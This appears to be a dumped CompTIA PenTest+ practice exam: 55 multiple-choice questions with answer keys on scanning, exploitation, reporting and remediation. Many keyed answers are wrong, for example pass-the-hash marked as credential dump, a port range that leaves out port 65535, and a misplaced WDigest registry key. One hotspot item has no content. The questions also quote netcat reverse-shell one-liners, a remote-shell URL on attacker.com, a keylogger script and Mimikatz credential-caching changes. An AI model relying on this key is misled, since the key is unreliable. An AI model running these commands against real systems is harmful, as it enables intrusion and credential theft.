PT0-001.55q

Number: PT0-001
Passing Score: 800
Time Limit: 120 min

PT0-001

https://www.gratisexam.com/

CompTIA PenTest+ Certification

Exam A

QUESTION 1
A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?

A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
B. Identify the issues that can be remediated most quickly and address them first.
C. Implement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities
D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 2
Which of the following is the reason why a penetration tester would run the `chkconfig --del servicename` command at the end of an engagement?

A. To remove the persistence
B. To enable persistence
C. To report persistence
D. To check for persistence

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 3
A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service?

A. `arpspoof`
B. `nmap`
C. `responder`
D. `burpsuite`

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Reference: http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/

QUESTION 4
A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information?

A. Rules of engagement
B. Request for proposal
C. Master service agreement
D. Business impact analysis

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 5
A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?

A. Randomize the credentials used to log in.
B. Install host-based intrusion detection.

C. Implement input normalization.
D. Perform system hardening.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 6
Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO).

A. Shodan
B. SET
C. BeEF
D. Wireshark
E. Maltego
F. Dynamo

Correct Answer: AE
Section: (none)
Explanation

Explanation/Reference:
Reference: https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint-tools/#gref

QUESTION 7
A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information?

A. MAC address of the client
B. MAC address of the domain controller
C. MAC address of the web server
D. MAC address of the gateway

Correct Answer: D
Section: (none)

Explanation

Explanation/Reference:

QUESTION 8
A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE).

A. Randomize local administrator credentials for each machine.
B. Disable remote logons for local administrators.
C. Require multifactor authentication for all logins.
D. Increase minimum password complexity requirements.
E. Apply additional network access control.
F. Enable full-disk encryption on every workstation.
G. Segment each host into its own VLAN.

Correct Answer: CDE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 9
A security consultant is trying to attack a device with a previously identified user account.

```
Module options (exploit/windows/smb/psexec):

Name                  Current Setting                                                Required
----                  ---------------                                                --------
RHOST                 192.168.1.10                                                   yes
RPORT                 445                                                            yes
SERVICE_DESCRIPTION                                                                  no
SERVICE_DISPLAY_NAME                                                                 no
SERVICE_NAME                                                                         no
SHARE                 ADMIN$                                                         yes
SMBDOMAIN             ECorp                                                          no
SMBPASS               aad3b435b514004ccaad3b435b5140ee:gbh5n356b58700ggppd6m2439ep no
SMBUSER               Administrator                                                  no
```

Which of the following types of attacks is being executed?

A. Credential dump attack
B. DLL injection attack
C. Reverse shell attack
D. Pass the hash attack

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 10
During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

A. `nc 192.168.1.5 44444`
B. `nc -nlvp 44444 -e /bin/sh`

C. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f`
D. `nc -e /bin/sh 192.168.1.5 44444`
E. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f`
F. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f`

Correct Answer: BC
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/

QUESTION 11
Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?

A. Manufacturers developing IoT devices are less concerned with security.
B. It is difficult for administrators to implement the same security standards across the board.
C. IoT systems often lack the hardware power required by more secure solutions.
D. Regulatory authorities often have lower security requirements for IoT systems.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 12
Which of the following commands starts the Metasploit database?

A. `msfconsole`
B. `workspace`
C. `msfvenom`
D. `db_init`
E. `db_connect`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.offensive-security.com/metasploit-unleashed/msfconsole/

QUESTION 13
A penetration tester identifies the following findings during an external vulnerability scan:

Vulnerability	Ports
Multiple unsupported versions of Apache found	80, 443
SSLv3 accepted on HTTPS connections	443
Mod_rewrite enabled on Apache servers	80, 443
Windows Server 2012 host found	21

Which of the following attack strategies should be prioritized from the scan results above?

A. Obsolete software may contain exploitable components.
B. Weak password management practices may be employed.
C. Cryptographically weak protocols may be intercepted.
D. Web server configurations may reveal sensitive information.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 14
A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this?

A. Appendices
B. Executive summary
C. Technical summary

D. Main body

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 15
A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output:

```
import requests
from BeautifulSoup import BeautifulSoup
request = requests.get("https://www.bank.com/admin")
respHeaders, respBody = request[0], request[1]
if respHeader.statuscode = 200:
        soup = BeautifulSoup(respBody)
        soup = soup.FindAll("div", {"type": "hidden"})
        print respHeader.StatusCode, StatusMessage
else:
        print respHeader.StatusCode, StatusMessage

Output: 200 OK
```

Which of the following is the tester intending to do?

A. Horizontally escalate privileges.
B. Scrape the page for hidden fields.
C. Analyze HTTP response code.
D. Search for HTTP headers.

Correct Answer: D

Section: (none)
Explanation

Explanation/Reference:

QUESTION 16
Which of the following types of intrusion techniques is the use of an “under-the-door tool” during a physical security assessment an example of?

A. Lockpicking
B. Egress sensor triggering
C. Lock bumping
D. Lock bypass

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.triaxiomsecurity.com/2018/08/16/physical-penetration-test-examples/

QUESTION 17
During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action?

A. Disable the network port of the affected service.
B. Complete all findings, and then submit them to the client.
C. Promptly alert the client with details of the finding.
D. Take the target offline so it cannot be exploited by an attacker.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 18
A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal?

A. Perform an HTTP downgrade attack.
B. Harvest the user credentials to decrypt traffic.
C. Perform an MITM attack.
D. Implement a CA attack by impersonating trusted CAs.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 19
After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled ''changepass."
```
-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass
```

Using "strings" to print ASCII printable characters from changepass, the tester notes the following:

```
$ strings changepass
exit
setuid
strcmp
GLIBC_2.0
ENV_PATH
%s/changepw
malloc
strlen
```

Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine?

A. Copy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass.
B. Create a copy of changepass in the same directory, naming it changepw. Export the ENV_PATH environmental variable to the path '/home/user/'. Then run

changepass.

C. Export the ENV_PATH environmental variable to the path of a writable directory that contains a token-stealing binary titled changepw. Then run changepass.
D. Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 20
A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize?

A. `nmap -p 53 -oG dnslist.txt | cut -d “:” -f 4`
B. `nslookup -ns 8.8.8.8 << dnslist.txt`
C. `for x in {1...254}; do dig -x 192.168.$x.$x; done`
D. `dig -r > echo “8.8.8.8” >> /etc/resolv.conf`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 21
An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an:

A. HTTP POST method.
B. HTTP OPTIONS method.
C. HTTP PUT method.
D. HTTP TRACE method.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 22
A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform?

A. Vulnerability scan
B. Dynamic scan
C. Static scan
D. Compliance scan

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 23
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:

https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php

Which of the following remediation steps should be taken to prevent this type of attack?

A. Implement a blacklist.
B. Block URL redirections.
C. Double URL encode the parameters.
D. Stop external calls from the application.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 24
A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline?

A. Discovery scan
B. Stealth scan
C. Full scan
D. Credentialed scan

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 25
A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE).

A. Mandate all employees take security awareness training.
B. Implement two-factor authentication for remote access.
C. Install an intrusion prevention system.
D. Increase password complexity requirements.
E. Install a security information event monitoring solution.
F. Prevent members of the IT department from interactively logging in as administrators.
G. Upgrade the cipher suite used for the VPN solution.

Correct Answer: BCG
Section: (none)
Explanation

Explanation/Reference:

QUESTION 26
A penetration tester is reviewing the following output from a wireless sniffer:

ESSID	BSSID	ENCRYPTION	CHANNEL	WPS
Guest	AD:1F:AB:10:33:78	OPEN	6	N
Secure	AD:1F:AB:10:33:79	WPA2-PSK	6	N
Dev	AD:1F:AB:10:33:70	WPA2-ENT	11	N

Which of the following can be extrapolated from the above information?

A. Hardware vendor
B. Channel interference
C. Usernames
D. Key strength

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 27
In which of the following scenarios would a tester perform a Kerberoasting attack?

A. The tester has compromised a Windows device and dumps the LSA secrets.
B. The tester needs to retrieve the SAM database and crack the password hashes.
C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.
D. The tester has compromised an account and needs to dump hashes and plaintext passwords from the system.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 28
While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?

A. HKEY_CLASSES_ROOT

B. HKEY_LOCAL_MACHINE
C. HKEY_CURRENT_USER
D. HKEY_CURRENT_CONFIG

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.redcanary.com/blog/windows-registry-attacks-threat-detection/

QUESTION 29
A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

A. `dsrm -users "DN=company.com; OU=hq CN=users"`
B. `dsuser -name -account -limit 3`
C. `dsquery user -inactive 3`
D. `dsquery -o -rdn -limit 21`

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 30
Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads?

A. Creating a scope of the critical production systems
B. Setting a schedule of testing access times
C. Establishing a white-box testing engagement
D. Having management sign off on intrusive testing

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference:

QUESTION 31
HOTSPOT

Instructions:

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious.

Hot Area:

Correct Answer:

Section: (none)
Explanation

Explanation/Reference:

QUESTION 32
In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device?

A. Brute force the user's password.
B. Perform an ARP spoofing attack.
C. Leverage the BeEF framework to capture credentials.
D. Conduct LLMNR/NETBIOS-ns poisoning.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 33
A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement?

A. Nikto
B. WAR
C. W3AF
D. Swagger

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Reference: https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/

QUESTION 34
During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful.

Which of the following would be the BEST target for continued exploitation efforts?

A. Operating system: Windows 7
   Open ports: 23, 161
B. Operating system: Windows Server 2016
   Open ports: 53, 5900
C. Operating system: Windows 8.1
   Open ports: 445, 3389
D. Operating system: Windows 8
   Open ports: 514, 3389

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 35
A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity?

A. The client has applied a hot fix without updating the version.
B. The threat landscape has significantly changed.
C. The client has updated their codebase with new features.
D. Thera are currently no known exploits for this vulnerability.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 36
An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO's login credentials.

A. Elicitation attack
B. Impersonation attack
C. Spear phishing attack
D. Drive-by download attack

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.social-engineer.org/framework/influencing-others/elicitation/

QUESTION 37
A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use?

A. `nmap -p 22 -iL targets`
B. `nmap -p 22 -sL targets`
C. `nmap -p 22 -oG targets`
D. `nmap -p 22 -oA targets`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 38
A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

A. `nc -l -p 4444 /bin/bash`
B. `nc -vp 4444 /bin/bash`
C. `nc -p 4444 /bin/bash`
D. `nc -lp 4444 /bin/bash`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference: https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/

QUESTION 39
A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.)

A. Wait outside of the company's building and attempt to tailgate behind an employee.
B. Perform a vulnerability scan against the company's external netblock, identify exploitable vulnerabilities, and attempt to gain access.
C. Use domain and IP registry websites to identify the company's external netblocks and external facing applications.
D. Search social media for information technology employees who post information about the technologies they work with.

E. Identify the company's external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Correct Answer: DE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 40
A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list?

A. Rules of engagement
B. Mater services agreement
C. Statement of work
D. End-user license agreement

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 41
Which of the following BEST explains why it is important to maintain confidentially of any identified findings when performing a penetration test?

A. Penetration test findings often contain company intellectual property
B. Penetration test findings could lead to consumer dissatisfaction if made public.
C. Penetration test findings are legal documents containing privileged information.
D. Penetration test findings can assist an attacker in compromising a system.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 42
Given the following script:

```
import pyHool, pythoncom, logging, sys

f="f.txt"
def OnKeyboardEvent (event):
        logging.basicCongig (filename=f, level=loggin.DEBUG, format='% (messages)')
        chr (event.Ascii)
        logging.log (10, chr (event.Ascii))
        return True

hm = pyHook.HookManager ()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMeassages ()
```

Which of the following BEST describes the purpose of this script?

A. Log collection
B. Event collection
C. Keystroke monitoring
D. Debug message collection

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Reference: https://www.programcreek.com/python/example/97419/pyHook.HookManager

QUESTION 43
A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task?

A. `-p-`
B. `-p ALL`
C. `-p 1-65534`
D. `-port 1-65534`

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Reference: https://securitytrails.com/blog/top-15-nmap-commands-to-scan-remote-hosts

QUESTION 44
A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM. Which of the following is MOST important for confirmation?

A. Unsecure service and protocol configuration
B. Running SMB and SMTP service
C. Weak password complexity and user account
D. Misconfiguration

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 45
A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?

A. `hashcat -m 5600 -r rules/bestG4.rule hash.txt wordlist.txt`
B. `hashcat -m 5600 hash.txt`
C. `hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a`
D. `hashcat -m 5600 -o results.text hash.txt wordlist.txt`

Correct Answer: C
Section: (none)

Explanation

Explanation/Reference:

QUESTION 46
A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting “True”.

```
root:~# cat ./test.sh
#!/bin/bash
source=10
let dest=5+5

if [ 'source' = 'dest' ]; then
    echo "True"
else
    echo "False"
fi
#End of File

root:~# ./test.sh
False
```

Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)

A. Change ‘fi’ to ‘Endli’.
B. Remove the ‘let’ in front of ‘dest=5+5’.
C. Change the ‘=’ to ‘-eq’.
D. Change ‘source’ and ‘dest’ to “$source” and “$dest”.
E. Change ‘else’ to ‘elif’.

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 47
After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

A. SOW
B. NDA
C. EULA
D. BPA

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 48
When performing compliance-based assessments, which of the following is the MOST important key consideration?

A. Additional rate
B. Company policy
C. Impact tolerance
D. Industry type

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 49
A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command:

```
for m in {1..254..1};do ping -c 1 192.168.101.$m; done
```

Which of the following BEST describes the result of running this command?

A. Port scan
B. Service enumeration
C. Live host identification
D. Denial of service

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 50
A penetration tester ran the following Nmap scan on a computer:

```
nmap -aV 192.168.1.5
```

The organization said it had disabled Telnet from its environment. However, the results of the Nmap scan show port 22 as closed and port 23 as open to SSH. Which of the following is the BEST explanation for what happened?

A. The organization failed to disable Telnet.
B. Nmap results contain a false positive for port 23.
C. Port 22 was filtered.
D. The service is running on a non-standard port.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
Which of the following has a direct and significant impact on the budget of the security assessment?

A. Scoping
B. Scheduling
C. Compliance requirement
D. Target risk

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests?

A. Ettercap
B. Tcpdump
C. Responder
D. Medusa

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
Given the following:

http://example.com/download.php?id-.../.../.../etc/passwd

Which of the following BEST describes the above attack?

A. Malicious file upload attack
B. Redirect attack
C. Directory traversal attack
D. Insecure direct object reference attack

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54
During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikatz.

Which of the following registry changes would allow for credential caching in memory?

A. reg add HKLM\System\ControlSet002\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 0
B. reg add HKCU\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1
C. reg add HKLM\Software\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1
D. reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 55
A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

A. Advanced persistent threat
B. Script kiddie
C. Hacktivist
D. Organized crime

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Reference https://www.sciencedirect.com/topics/computer-science/disgruntled-employee